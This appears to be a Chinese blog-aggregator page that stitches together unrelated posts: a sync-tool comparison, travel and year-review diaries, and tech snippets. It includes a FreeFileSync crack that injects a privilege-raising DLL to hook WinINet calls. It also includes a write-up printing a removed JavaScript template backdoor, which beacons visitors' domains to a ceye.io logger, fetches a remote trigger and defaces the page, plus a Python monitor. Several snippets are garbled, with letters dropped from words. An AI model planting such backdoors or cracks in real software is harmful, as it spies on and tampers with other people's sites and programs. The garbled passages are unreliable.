1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34# 以最新的 10.8 版本做例子 # 其他版本大同小异，没写到的文件是无用文件，例如 uninstall.exe 之类的 FreeFileSync v10.8 │ │ ding.wav # 提示音 │ gong.wav # 提示音 │ harp.wav # 提示音 │ Install.dat # 安装记录（仅卸载的时候清理文件用，没啥用） │ Resources.zip # 图标资源文件 │ LastRun.ffs_gui # 最近的同步任务记录（配置文件） │ HideConsole.vbs # 隐藏启动器 │ FreeFileSync.exe # 启动器，根据系统版本启动 Bin 目录中对应的主程序 │ RealTimeSync.exe # 启动器，启动后台实时同步任务进程（同上） │ GlobalSettings.xml # 全局设置（配置文件） │ ├─Bin # 存放真正主程序的文件夹，主程序根据系统类型分为各个版本 │ FreeFileSync_Win32.exe # Windows x86 主程序 │ FreeFileSync_x64.exe # Windows x64 主程序 │ FreeFileSync_XP.exe # Windows XP 主程序 │ RealTimeSync_Win32.exe # Windows x86 实时同步任务进程 │ RealTimeSync_x64.exe # Windows x64 实时同步任务进程 │ RealTimeSync_XP.exe # Windows XP 实时同步任务进程 │ Shadow_Server2003_Win32.dll # 依赖组件（界面效果相关） │ Shadow_Windows7_Win32.dll # 依赖组件（界面效果相关） │ Shadow_Windows7_x64.dll # 依赖组件（界面效果相关） │ Shadow_XP_Win32.dll # 依赖组件（界面效果相关） │ Taskbar7_Win32.dll # 依赖组件（界面效果相关） │ Taskbar7_x64.dll # 依赖组件（界面效果相关） │ ├─GoogleDrive # 谷歌云盘相关目录 ├─Languages # 语言文件（官方提供了几十种语言文件，只保留简体中文就够用了） │ chinese_simple.lng │ └─Logs # 一些执行日志文件，没啥用禁用自动更新
对程序进行了简单的逆向破解分析后，发现主程序使用了自校验保护，直接修改主程序打补丁的话比较麻烦，于是采用了 dll 注入打内存补丁的方案，简单、粗暴、直接、高效！
更新原理
官方采用的自动更新方法很简单，直接 http 请求：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22http://www.freefilesync.org/get_latest_version_number.php POST /get_latest_version_number.php HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: FFS-Update-Check Host: freefilesync.org Content-Length: 125 Cache-Control: no-cache ffs_version=10.8&installation_type=Portable&ffs_variant=Free&os_name=Windows&os_version=6.1&os_arch=64&language=zh&country=CN HTTP/1.1 200 OK Date: Mon, 28 Jan 2019 06:17:54 GMT Server: Apache Content-Length: 4 Cache-Control: max-age=3600 Expires: Mon, 28 Jan 2019 07:17:54 GMT Vary: Accept-Encoding,User-Agent Content-Type: application/octet-stream 10.8如果有新版本的话，则执行以下请求获取新版本更新说明（以 9.5 版本为例）：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36POST /get_latest_changes.php HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: FFS-Update-Check Host: www.freefilesync.org Content-Length: 9 Cache-Control: no-cache since=9.4 HTTP/1.1 200 OK Date: Sun, 12 Nov 2017 08:19:47 GMT Server: Apache Cache-Control: max-age=3600 Expires: Sun, 12 Nov 2017 09:19:47 GMT Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 2c0 FreeFileSync 9.5 [2017-11-05] ----------------------------- Allow to change error handling option on progress dialogs Set up shutdown behavior during sync (summary, exit, sleep) Conditional execution of the post sync command line Directly use native shutdown/sleep API Run post sync command even when fail on first error was set Merged batch and GUI error handling options Write post sync command to log file Update GUI-specific options when saving as batch job Progress graph area matches processed data ratio Delete files permanently with Shift+Del Apply correct quotation for CSV-exported folder list Use Unicode arrow chars with ASCII for variant description Updated libcurl, OpenSSL to latest builds 0最后提示用户更新软件（官方更新频率很高，所以神烦）。
升级请求主要出现在以下文件中：
1 2 3\Bin\FreeFileSync_Win32.exe \Bin\FreeFileSync_x64.exe \Bin\FreeFileSync_XP.exe破解方案
所以屏蔽自动升级方案就很简单了，直接注入一个 dll 到主程序中，然后直接修改内存 API 函数调用地址，拦截 http 更新请求，也就是内存补丁。
观察了一下 HTTP 请求调用的函数，发现主要使用以下几个 API：
1 2 3InternetOpenW InternetConnectW InternetReadFile于是使用 PowerBASIC 简单的写了个 dll，核心源码如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58#compile dll "hook.dll" #dim all #include "Win32API.inc" #include "HookApi.inc" %SE_DEBUG_PRIVILEGE = &H14 declare function RtlAdjustPrivilege lib "ntdll.dll" alias "RtlAdjustPrivilege"(byval Privilege as long, byval enable as long, byval CurrentThread as long, WasEnabled as long) as long global ghInstance as dword global hThread as dword '线程id global nextHook as dword function libmain (byval hInstance as long, byval fwdReason as long, byval lpvReserved as long) as long select case fwdReason case %DLL_PROCESS_ATTACH ghInstance = hInstance RtlAdjustPrivilege(%SE_DEBUG_PRIVILEGE, 1, 0, 0) '提升进程权限 thread create LoadHook(0) to hThread '创建一个线程加载hook function = 1 'success! case %DLL_PROCESS_DETACH '---------- local lresult as long thread close hThread to lresult '销毁线程 UnHookAPI(nextHook) '卸载 hook '---------- function = 1 'success! case %DLL_THREAD_ATTACH function = 1 'success! case %DLL_THREAD_DETACH function = 1 'success! end select end function thread function LoadHook(byval n as long) as long ' HookAPI("USER32.dll", "MessageBoxA", codeptr(functionCallback), nextHook) HookAPI("WININET.dll", "InternetOpenW", codeptr(Callback_InternetOpenW), nextHook) ' HookAPI("WININET.dll", "InternetConnectW", codeptr(Callback_InternetConnectW), nextHook) ' HookAPI("WININET.dll", "InternetReadFile", codeptr(Callback_InternetReadFile), nextHook) end function function Callback_InternetOpenW(byref lpszAgent as wstringz, byval dwAccessType as dword, byref lpszProxy as wstringz, byref lpszProxyBypass as wstringz, byval dwFlags as dword) as dword ' msgbox "InternetOpenW" function = %false end function function Callback_InternetConnectW( _ byval hInternet as dword, byref lpszServerName as wstringz, byval nServerPort as word, _ byref lpszUserName as wstringz, byref lpszPassword as wstringz, _ byval dwService as dword, byval dwFlags as dword, optional byval dwContext as dword) as dword ' msgbox "InternetConnectW" function = %false end function function Callback_InternetReadFile(byval hFile as dword, byval lpBuffer as byte ptr, byval dwNumberOfBytesToRead as dword, byref lpdwNumberOfBytesRead as dword) as long ' msgbox "InternetReadFile" function = %false end function使用方法
然后只需要在主程序启动时注入这个 dll 即可屏蔽所有更新请求。
虽然主程序有多个版本（见 bin 文件夹），但是 win32 版本是通用的，所以只需要启动着一个即可，使用核总很早以前写的 dll 注射器实现启动注入（可使用批处理实现一键启动）：
1inject.exe "\Bin\FreeFileSync_Win32.exe"至此，完美屏蔽自动更新。
相关说明
以上破解思路、代码及程序是核总(https:/lcx.cc/)在 2017 年底记录、开发的，今天没事整理了一下发出来，相关程序见底下下载。
当时破解的版本是 9.5，但是破解补丁是通用的（只要官方没有很大的结构性更新），也就是说 FreeFileSync 9.x、10.x 及以后全版本通杀。
相关下载
- 博客 轶哥博客 2019-01-23 20:44:32
使用场景
<>Electro 内置Chromium和Node.j，为了提升用户体验，通常 Electro 封装的前端静态文件存储在客户端本地。但总有一些特殊情况，会使用到部分远程页面。<>比如微信扫码登录，需要远程访问微信的登录站点，获得扫码结果后跳转到我们自己的服务器，然后通知到主进程来关闭对应的渲染进程。目前这个问题有更高效的解决方案，详见博文《无刷新微信扫码登陆解决方案》。<>再比如，部分页面还没有实现前后端分离，为了产品尽快上线，也需要嵌入远程URL。<>直接在Electro中访问远程地址是有风险的，控制远程地址切回本地页面也是较为繁琐的。<>以上需求可以使用weview标签实现。这是Electro为我们提供的一个特殊组件，类似于iframe但跟iframe不同，确保了应用的安全性。类似于Adroid、io的weview或Crowalk，Electro中的weview也支持和渲染进程相互通讯。 - 博客 Vulkey_Chen's Blog 2019-01-23 00:00:00
前言
在前段时间，我在我博客的模板上加入了后门（JavaScript），今天去除，并将思路简单的写出来。
为什么留后门呢？
起因：在前不久，团队官网模板就被偷走，很让人生气，抄袭者团队（以下简称为：A）没有打一声招呼就拿走了，但可笑的是A并没有在模板中修改JavaScript文件的外链引用，而是直接使用我们的JavaScript文件，所以简单的利用JS修改了一下其主页，提醒了下他，经过后来A主动与我联系并道歉，这件事情才结束～
让我吃惊的是，这件事之后我发现我博客主题模板被拿走了，是的，不止一个哥们。
我在我的博客项目中说明了
https://github.com/gh0stkey/gh0stkey.github.io个人博客 gh0st.cn 模版来自：https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能（做了一些排版细节上的调整），拿之前告诉我下，谢谢！
因为博客采用的是Github Pages + Jekyll，所以需要依赖于Github的进行托管，模板也就自然而然的可以直接
git clone下来，模板也是我进行二次修改的，我觉得起码要尊重下作者，在博客主题或项目之类的进行说明，打声招呼也行，一声不吭的拿走是几个意思……有个好兄弟说过这样一段话，望周知：
参考别人的研究成果，注明来源是基本素质，每个人都应该构建一个和谐积极向上的氛围，知道的人不愿意分享的原因就是不被别人认可，互相认可才能进步，现在理解一些师傅的苦衷了，挺悲哀的。请各位在以后的学习生涯上，尊重别人的分享，认可他人，互相感染才能进步。
关于后门
我是一个“重度洁癖患者”，不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门，这对我来说是一件带有“大污点”的事情，所以思考了很久决定加上后门。
后门的构建
JavaScript 后门
模板后门选择的是JavaScript外链引用，而JavaScript的内容构建步骤如下：
1.判断是否是自己的域名（这个正则写的不严谨是可以被绕过的，例如：
gh0st.cn.bypass.cn）：var host = document.location.host; //获取host var reg = new RegExp(/gh0st.cn/); //创建正则 var isok = reg.test(host); //匹配结果：False\True if(!isok){//判断 ...code }2.触发式：在一个Web服务上添加了isopen.txt这个文件，内容为NO则不触发，内容为YES则触发。（选择触发式的原因是因为博客上线有本地调试这一环节，如果在本地就触发了，那岂不是得不偿失，没有造成什么直接损害～）
var xhr = new XMLHttpRequest(); //创建XMLHttpRequest xhr.onreadystatechange=function(){ //请求成功则触发 if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES，如果是则进行下一步 document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改 } } xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt xhr.send(null);3.既然选择了触发式的后门，那么就需要知道是谁偷了模板，这里利用的是
ceye.io这个平台去记录“小偷”的域名和IP之类的东西：var img = document.createElement("img"); //创建img标签 img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性 img.stytle.display="none"; //设置img标签的样式的display属性为none（表示这个将图片隐藏） document.body.appendChild(img); //在DOM节点(body)内加入img标签4.在博客模板的header.html中引用了外部的JS地址
<script src="http://webserver/xxx.js">完整代码如下：
var host = document.location.host; var reg = new RegExp(/gh0st.cn/); var isok = reg.test(host); if(!isok){ var img = document.createElement("img"); img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; img.stytle.display="none"; document.body.appendChild(img); var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.responseText == "YES"){ document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); } } xhr.open("GET","http://webserver/isopen.txt",true); xhr.send(null); }Python 监控
利用
ceye.io这个平台的API去实时监控，并且使用邮件发信通知。导入Python模块 && 全局变量：
import smtplib,requests,json,urlparse,sys from email.MIMEText import MIMEText from email.Utils import formatdate from email.Header import Header log = {}1.163邮件发信：
def send_mail(domain,ip): smtpHost = 'smtp.163.com' smtpPort = '25' fromMail = '邮箱账户' toMail = '邮箱账户,收信方' username = '邮箱账户' password = '邮箱密码' reload(sys) sys.setdefaultencoding('utf8') subject = u'博客监控到有人偷模板！' body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip) encoding = 'utf-8' mail = MIMEText(body.encode(encoding),'plain',encoding) mail['Subject'] = Header(subject,encoding) mail['From'] = fromMail mail['To'] = toMail mail['Date'] = formatdate() try: smtp = smtplib.SMTP(smtpHost,smtpPort) smtp.ehlo() smtp.login(username,password) smtp.sendmail(fromMail,toMail.split(','),mail.as_string()) print u"邮件已发送，监控信息：" print body except Exception,e: print e print u"发送失败，监控信息：" print body finally: smtp.close()2.ceye.io API调用获取信息，个人中心可以看见API TOKEN，API使用方法：
def dnslog_monitor(): api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog" r = requests.get(api) json_data = json.loads(r.text) for i in json_data['data']: query = urlparse.urlparse(i['name']).query sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain'] sb_ip = i['remote_addr'] if sb_domain in log: pass else: log[sb_domain] = sb_ip send_mail(sb_domain,sb_ip)3.main函数：
def main(): while True: dnslog_monitor()后门的运行
python脚本挂在服务器跑了一段时间，也发现了一个哥们又拿走了我的博客模板：
让他”用”了一段时间，便将isopen.txt的内容改为了YES（即触发了后门），其后来也与我联系，并进行了和解。
写在最后的话
也是因为“重度洁癖”，决定将模板后门去除。望君尊重技术、分享、作者，共勉！
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-01-19 21:54:47
相信很多人碰到过这样的场景：
某苦逼程序猿白天在公司努力干活，下班还需要把公司的文件资料带回家继续加班工作，第二天早上上班再拿来更新到公司电脑上。
如果工作文件很多，而且每次修改的文件较多的话，人工对比是一件很操蛋的事情，这时候就需要一些文件同步工具了，尤其是双向的文件同步工具。
像**核总**(https:/lcx.cc/)就是这样一个经常拿着U盘在各个电脑来来回回、跑来跑去的人，非常需要这种工具，这些年用过的**文件对比同步工具**也很多。
例如最早国产的DiffSync(文件夹同步专家)，当时用了好几年，后来作者出了 v1.008 终结版后就不再更新了，官网也关闭了，并且功能不完善、不支持某些特殊需求，又转到了其他工具，陆陆续续也用了很多种，这里把几款用过的工具做个简单的对比。
备注：由于软件名长度太长，表格会撑变形，这里使用首字母缩写代替。
软件 FC FFS GS AS DS PS 文件权限(ACL) √ √ √ × × × 文件属性(DACL) √ √ √ √ √ × 目录权限(ACL) √ √ √ × × × 目录属性(DACL) √ √ √ ? × × 文件创建日期 √ √ √ √ √ × 文件修改日期 √ √ √ √ √ √ 文件访问日期 √ × × √ √ × 目录创建时间 √ √ √ √ × × 目录修改时间 √ √ √ × × × 目录访问时间 √ × × × × × Hash校验对比 √ √ √ × × × 支持双向同步 ! √ √ √ × √ FastCopy (FC)
官网：https://fastcopy.jp/
FastCopy 是一款 Windows 平台上最快的文件复制、删除软件，它支持 UNICODE 和超过 MAX_PATH （260 个字符）的文件路径名，由一家日本公司开发，同时支持简单的文件同步功能。
FreeFileSync (FFS)
官网：https://freefilesync.org/
FreeFileSync 是一个免费的、开源的文件夹比较和同步软件。支持Windows、Linux、Mac OS X，它也适用于64位操作系统。
程序安装默认可选择一个标准的安装程序或作为一个便携式应用程序。采用一个干净、简单、直观的界面，以同步为目标，提供了多种功能。
我个人感觉比较好用的一款~
如何免费实现官方的绿色便携版功能及屏蔽自动更新：
GoodSync (GS)
官网：https://www.goodsync.com/
使用 GoodSync 轻松备份和同步文件。我们简单安全的文件备份和同步软件将确保您的文件永不丢失。
Windows 和 Linux 服务器的数据备份和同步。易于使用的自动化和无人值守服务，具有多个目标选项。
文件同步工具 GoodSync 可以实现两台电脑或者电脑与U盘之间的数据和文件的同步转换。通过此工具，可以备份U盘中Pass2Go 中的数据或者其他文件到个人电脑的硬盘上。
GoodSync 是一种简单和可靠的文件备份和文件同步软件。它会自动分析、同步，并备份您的电子邮件、珍贵的家庭照片、联系人、MP3歌曲，财务文件和其他重要文件本地-之间的台式机，笔记本电脑，服务器，外部驱动器，以及Windows Mobile设备，以及通过FTP远程，网友的WebDAV等等。
跨平台并且支持多协议文件同步，功能很强大！
Allway Sync (AS)
官网：https://allwaysync.com/
Allway Sync是一款Windows 文件同步软件。
它可以在几个文件夹之间进行文件同步，自动将更新的文件覆盖几个同步文件夹中的旧文件。
软件带有一个小型数据库，监视每次更新后的文件状态。如果一次同步之后，你删除了同步文件夹中某些文件，它在同步的时候将其它的几个文件夹的副本也删除，而不会将未删除的旧文件重复拷贝到更新的文件夹。
PathSync (PS)
官网：https://www.cockos.com/pathsync/
PathSync 是一款目录文件同步工具。
PathSync 是 Cockos 出品，Cockos 是 Justin Frankel (开发 Winamp 的那个家伙) 成立的公司，开发的产品也是和音频有关的。这个小工具估计是他们搂柴火打兔子随便搞出来的，但真是很好用。免费。
PathSync 是由Cockos的一个伟大的员工在04年开发的，本来是随便玩玩的，结果是无心插柳柳成荫，反而将Pathsync做成了一个体积小巧，功能强大的同步工具。从04年到现在，已经陆续推出了数个版本，最后一次更新是在2015/12/28。目前的功能已经趋于完美，所以很久没有新动向了，如果大家有什么特殊想法，请遵循GPL协议，自己修改源代码增加修改功能。
DiffSync (DS)
官网：
www.diffsync.com（域名于2010年6月14日到期，现已变成垃圾广告网站）DiffSync(文件夹同步专家)，简称DiffSync。DiffSync是一个文件差异同步专家，他功能强大，可以根据文件的大小，创建时间，修改时间，访问时间，文件属性等，进行对比，根据对比结果，进行差异同步。特有的高性能算法，让文件对比，变得如此快速。超快的文件复制功能，让大量文件同 步，变的如此轻松。
作者放出“DiffSync v1.008 终结版”后就不再更新了，官网也随之关闭了，以下为最后版本的信息：
名称：DiffSync(文件夹同步专家)
版本：1.008
日期：2010-4-25
作者：徐怀移
邮箱：xudea@126.com
QQ：185452635
说明：diffsync.com 域名于2010年6月14日到期，为了广大用户的安全，请升级到本版本，本版本，移除检查更新，移除广告，移除和 diffsync.com 的所有连接，本版本将会是 diffsync 的最后一个版本。
哈哈！官网很久以前被核总黑过……
- 博客 Randy's Blog 2019-01-14 08:00:001781
- 博客 轶哥博客 2019-01-13 19:02:22<>Pueteer 是 Headle Chrome Node API。也就是谷歌将Chrome无头浏览模式的接口封装成Node.j的API。利用Pueteer实现网页截图/网页快照服务是非常容易的。<>weage-cature是基于Pueteer实现带权限认证（多APP授权）、配备消息队列管理的网页快照API。<>
源代码： htt://githu.com/yi-ge/weage-cature.<>功能： 可对百万级网页数据进行截图采集的API服务。 - 博客 Jiajun的编程随想 2019-01-13 08:00:00《杂谈》Golang，除去繁琐的 `if err != nil` 之外，写起来还是非常爽的。而goroutine作为Golang的 core feature，就是能让我们爽的根本原因之一，仔细的了解一下goroutine，怎么来说都不为过。所以，聊一聊goroutine，希望能给读者带来一些启发。> TL;DR 我们最开始从组装一台电脑说起，然后会讲到操作系统的一些概念例如进程，线程，之后再了解一下goroutine本身...
- 博客 Jiajun的编程随想 2019-01-12 08:00:00《使用autossh实现内网穿透》如果想要随时随地访问自己的笔记本该怎么做？不用搜了，当然是用强大的ssh。```bash...
- 博客 王子亭的博客 2019-01-10 01:00:00
就如 2018 年度小结 中说的那样，蛋黄并不喜欢出门旅行，就喜欢宅在家里，那怎么办呢，于是我们想到了一种合适的「佛系旅行项目」—— 游轮。在游轮上不需要做计划、想去哪就去哪，绝大部分项目不需要额外付费，在船上只需要走几步路就可以回到室内、找到卫生间，再多走几步就可以回到房间或者找到餐厅（也不需要额外付费）。
我们去的是「喜悦号」的游轮，往返上海和福冈（船每次出海停靠日本不同的港口）。5 天 4 夜，其实就是四个整天（两天在海上、一天停靠在日本、登船和下船加起来一天）。总体上我是比较满意的，船上设施和房间内都非常新、非常干净（蛋黄非常看重这一点），这艘船只启用了一年半，三月末就会离开中国，所以还是要把握机会的。
整个行程人均 2900 元（2200 房费 + 400 固定支出的「小费」+ 300 额外付费项目），这个性价比我觉得也非常可以了，这个价格是淡季的价格，赶上假期就会贵很多。我们住的是阳台房，基本就是比快捷酒店小一些的房间，卫生间很小但设施设计得很好，所以并不难用，有一个露天阳台可以看海。
关于船上设施网上的介绍很全了，我就只谈个人感受。
我们全部吃的是免费餐厅（因为网上测评说收费餐厅并没有比免费的强多少，然后价格很贵），吃得还是很好的，有两种免费餐厅，一种是自助餐，面积很大，饮料、水果和糕点很全、主菜每天会变化但品种不多、没什么海鲜。
另一种是正餐厅，每天有一套不同的菜单（五、六个菜），中西餐的菜混合，每天都有一道虾（很大），还有牛排和三文鱼，这些食材的品质我觉得都是非常好的。然而中餐做得比较「西式」，不看菜单根本猜不出来是什么菜，经蛋黄点拨发现原来是他们不会炒菜，感觉都是炖出来的 … 西餐的话我还是非常满意的。
刚进黄海的时候风景不怎么样，水很浑浊，到靠近日本的地方海才变得非常蓝、非常绿，天也是蓝的，很美。
然后晚上可以看到满天的星星，已经很多年没见过了（当然这一点比较依赖于天气，只有一天晚上没有云，才能看到星星）。船很稳，前两天根本感觉，后面两天开始有一些浪，但还是非常稳的，稳到蛋黄觉得船震没有什么特别的感觉。
上海到日本这片海域，基本全程都能看到其他的船，甲板上有两个望远镜可以用，但蛋黄觉得自己带一个望远镜会更好，可以看海岸、船和海鸥。
室外的气温和昆山差不多，但顶层的风非常大；室内则是恒温的，空调非常足。
甲板上有露天的温水游泳池，还看到有人在里面游。
船上有很多演出和活动（还有广场舞），都是免费的，我们看了两场歌舞剧和一场杂耍。歌舞剧看不太懂，但舞台效果还是很不错的。船上有几个露天的泳池，里面是温水，看到有几个人在游。还有一些乒乓球台，和蛋黄打了很久的乒乓球。
付费娱乐项目我最感兴趣的还是卡丁车，$10 一次五分钟，和之前在昆山玩的比起来价格差不多，但不够刺激：车不够快、不能漂移、赛道窄不容易超车，碰到不会开的人就会一直堵着路，不过既然是在船上也不能要求太高了，我全程玩了三场还是挺开心的。因为船上以大爷大妈为主，所以这些娱乐项目的人很少，不需要排队。
到日本之后的岸上观光项目很坑，基本相当于是被卖给了旅行社（以每个人 500 的价格，不想跟团的话要交 500），带你去一些一点都不好玩的景点、一点都不好吃的「美食广场」、一点都不便宜的免税店，行程还特别赶。
关于这个船三月末离开中国，主要是觉得中国人额外的消费太少，工作人员说在欧美航线一周可以卖 50000 瓶啤酒，然而船上基本都是中老年人，酒吧根本没有人。我和蛋黄觉得很大原因是这个公司（这个公司只有这一艘游轮在中国）不了解中国的情况，没有开发出适合中国大爷大妈的额外消费项目，比如搞搞中医按摩针灸、卖点保健品，实在不行搞个水池让大家扔硬币也行呀。有钱的大爷大妈还是很多的，有一天吃饭和做旁边的一对上海大爷大妈聊天，家里在上海几套房，经常坐游轮（估计这是他们坐的最低端的游轮了），说今天买包买衣服就花了两万多 …. 还觉得特别值。
据说这艘船是为中国人设计的（比如热水和热水壶），船上大部分的服务人员都是中国人，餐厅和客房的服务员则主要是东南亚人。不过总之绝大部分地方都只需要用到中文，对大爷大妈还是非常友好的。东南亚的服务人员的态度非常好，总会笑着打招呼，虽然不会中文也会积极地沟通；然而部分中国的服务人员态度不是很好。
船上网络是额外付费的，大概 500 元全程，我没有买，因为我已经做好准备把「没有网络」作为这次游轮体验的一部分了。实际上因为每天的活动内容都很丰富，没有网络也不会无聊，就看着船下的海浪都可以看很久。我带了电脑、几本书、iPad 和相机，但实际上并没有用到，就是因为船上的活动太丰富；相机的话，因为我换了 iPhone 8，感觉和相机的拍照效果已经差不多了，所以也没怎么用上。
我们在船上看了泰坦尼克号作为安全教育片，我事前事后也了解了不少游轮的背景知识以及泰坦尼克号的故事，经过那之后，现在海上的安全标准应该已经非常可靠了，但蛋黄还是表示想坐一坐救生船（忘记拍救生船的照片了）。
- 博客 Randy's Blog 2019-01-07 08:00:001786
- 博客 Jiajun的编程随想 2019-01-07 08:00:00《Linux线程内存模型》...
- 博客 轶哥博客 2019-01-07 02:14:51<>最近一年，我一直在研究优秀的项目、写代码、学东西。<>我也不知道为什么突然谈起
管理这个话题。小公司也需要管理
<>有人说“小公司最好没有管理，一定要做减法”。从某种角度上看或许是对的，“跟战略对口的人共事，团队成员一定要那种能够自我驱动的人”。<>这个说法在几年前可能我会非常赞同，但是就现在看来，这话说得太绝对。<>选人要看品质，但是“完全自我驱动的人，和完全需要踢着屁股往前走的人，是两个极端，现实中都是很少的(——格总在人间)”，有自驱动力的人也需要鼓励，也需要管理 。<>如果有自我驱动力的员工，他的成绩没有得到认可，对他来说他的感觉可能就是：“ <>他没有安全感，也没有成就感。<>每天都好像在考试，但是从来不公布分数 。总是不知道自己做得好不好，也不知道以后会怎么样...” （节选来自插座学院创始人“何川”文章）。公司如果不能让好员工全心投入到工作中，就留不住好员工 。<>当你对即将离职的员工说：“你做的很好，你很优秀，我跟其他领导也一直在表扬你”这些话的时候，已经晚了。 - 博客 轶哥博客 2019-01-06 20:43:12<>2018年12月6日PHP官方发布了
PHP 7.3.0 正式版。恰逢最近在写一个PHP在线练习的网站，特意去翻了一下7.3.0正式版的Docker镜像。 <>因为官方镜像只包含了最基本的模块，像do_myql、redi之类的模块并没有包含进去。在hu.docker.com中找到一个相对比较合适的 PHP 7.2 版本的Dockerfile（htt://hu.docker.com/r/hdocker/hdocker/），却发现作者将MariaDB、Redi Server、Node.j等内容给编进了Image。 <>我比较喜欢干净的Docker Image，一个镜像只做一个事情。像MySQL、Redi之类的数据库，可以单独启动相应的模块。 <>因此我在前人的基础上，移除了MariaDB、Redi Server、Node.j并升级PHP版本到7.3.0正式版。 - 博客 Jiajun的编程随想 2019-01-03 08:00:00《关闭手机通知，修复碎片化的生活》我以前做过一个推送系统，其任务就是，把给用户的消息推送到手机上，这样，手机就会收到一条弹窗推送。想象一下从我们用上智能手机以后的生活，每当需要一个功能，就去软件商店搜索相关的软件，安装，之后App第一件事情就是问你...
- 博客 Jiajun的编程随想 2019-01-01 08:00:00《Linux下系统调用的过程》> TLPI, Chap 3- The application program makes a system call by invoking a wrapper function in the C library...
- 博客 轶哥博客 2018-12-31 18:39:25<>快速挂载Raerry PI硬盘，可挂载USB硬盘。
注意：此脚本一次性将硬盘整个空间分为一个区，格式化为ext4格式，如果需要分多个区请手工操作。 <>理论上此脚本适合大部分Liux系统，不推荐在服务器中使用这样的脚本。 - 博客 王子亭的博客 2018-12-31 01:00:00
转眼又一年过去了，今年我们又回到了昆山，节奏放慢了很多，更多的时间花在了「生活」本身上面。
就如去年的小结中计划的那样，今年四月我们从北京搬回了昆山，接着搬家的机会添置了很多新物件，比如戴森的吸尘器、洗碗机、全自动咖啡机、米皮新风、扫地机器人、恒温龙头、Mesh 路由器、冰箱、桌子椅子、1.8 米的床和床垫等。昆山的厨房也更大了一点，买了更多的锅具和碗筷，感觉生活质量提高了一大截。
在昆山安顿下来之后，因为家里有了更多的地方，所以又买了一些玩具，包括 乐高的跑车 和 乐高的小火车，甚至现在有一个大桌子专门摆我的玩具。
今年我也花了不少时间在「建造类」游戏上，主要包括 天际线（Cities: Skylines）、缺氧（Oxygen Not Included）和异形工厂（Factorio）。异星工厂是我今年新发现的游戏，主要内容是建造自动化的流水线，非常对我的胃口，记得当时连着玩了几天，花了 50 多个小时第一次通关。
皮蛋豆腐今年也三岁了，和之前比起来它们更加「成熟稳重」了。从搬到昆山开始，豆腐总在猫砂盆旁边的地面上撒尿，经过一番摸索后发现原来是它对每天晚上被关在阳台表示不满。于是从那之后就不再把皮蛋豆腐关在阳台上了，即使我们出门也会把它们留在客厅，在我们睡觉的时候也会让它们进入我们的房间，它们有时候睡在衣柜里、有时候睡在地上、有时候睡在椅子上、还有的时候睡在蛋黄的被子上，但它们要是睡在我的被子上就会被我踢下去。
今年也全面启动移民的进程，我们的主要目标是加拿大，毕竟加拿大是英语国家、是高福利的发达国家，同时也是一个传统的移民国家。对于我来说主要是自考学历和英语这两大块，今年一年都在背单词，但其实三天打渔两天晒网，效果并不是很显著。
关于英语学习，我觉得 我们老板的文章 就挺有道理的，要在实际的日常场景中学习英语，将之前消费的一部分中文内容替换成英文。于是我将手机和电脑的系统语言改为英语、开始在洗澡时改听英文的播客、改去 Youtube 直接看一些英文播主的视频、去读技术类的英文书。在产出的方面则新的开源项目都使用英文来写文档和注释，后续还打算开始在 Medium 上开始写英文的博客。
在九月份的时候，我放弃了之前等自动驾驶汽车的想法，决定考一个驾照，主要是考虑可以创造一种租车前往公共交通不便利的地方的可能，尤其如果以后准备去加拿大的话。于是我和蛋黄一块报名，顺利通过了科目一和科目二，剩下的部分则有待明年继续。
在今年的最后两个月，我和蛋黄陷入了一场长达两个月的争吵，主要是关于原生家庭的观念冲突。虽然我们都从一开始就认为我们作为一个小家庭应该和双方的原生家庭保持独立，但因为成长环境、和家人的相处方式的不同，在具体的做法上面还是有非常大的分歧。我不想在这里描述细节，但这件事对我们的负面影响都很大，并且一直持续到了 2019 年。
今年和蛋黄一起去了沈阳、天津和无锡旅行，不过蛋黄其实并不喜欢出门旅行，在外面一副特别「丧」的样子，有时候还发脾气。
除此之外，我还和公司一起去了菲律宾、自己去了海南。在菲律宾的长滩岛的体验其实并不怎么好 —— 主要是没什么吃的，虽然是一个小岛，但并没有吃到什么海鲜。
在 iPhone SE 服役两年半之后，在双十一我入手了 iPhone 8，相比于全面屏和人脸识别，我还是更喜欢指纹。无线充电也非常方便，尤其后来我在家里的桌面上打了一个孔，安装了宜家的嵌入式充电器。
今年币圈和整个投资市场、全球经济都非常不好，大家都说今年只要不亏就算赚了。在股票上面我今年勉强没有亏，但在币圈可是亏惨了，相比于年初几乎跌掉了八成。
- 博客 Jiajun的编程随想 2018-12-27 08:00:00《Redis 5.0 Stream简明教程》Redis是我最喜欢的工具之一。Redis 5.0推出了一个新的数据结构：Stream。当然是要好好的研究研究。首先，Stream就是一个流处理的数据结构，例如：任务流，消息流等等。因此，借助Stream模块，我们可以做分布式任务分发，消息订阅，可以做类似IRC的聊天软件等等...
- 博客 Jiajun的编程随想 2018-12-27 08:00:00《耍耍OverlayFS》自Linux3.4之后，就可以使用overlay了。来，耍耍。```bash...
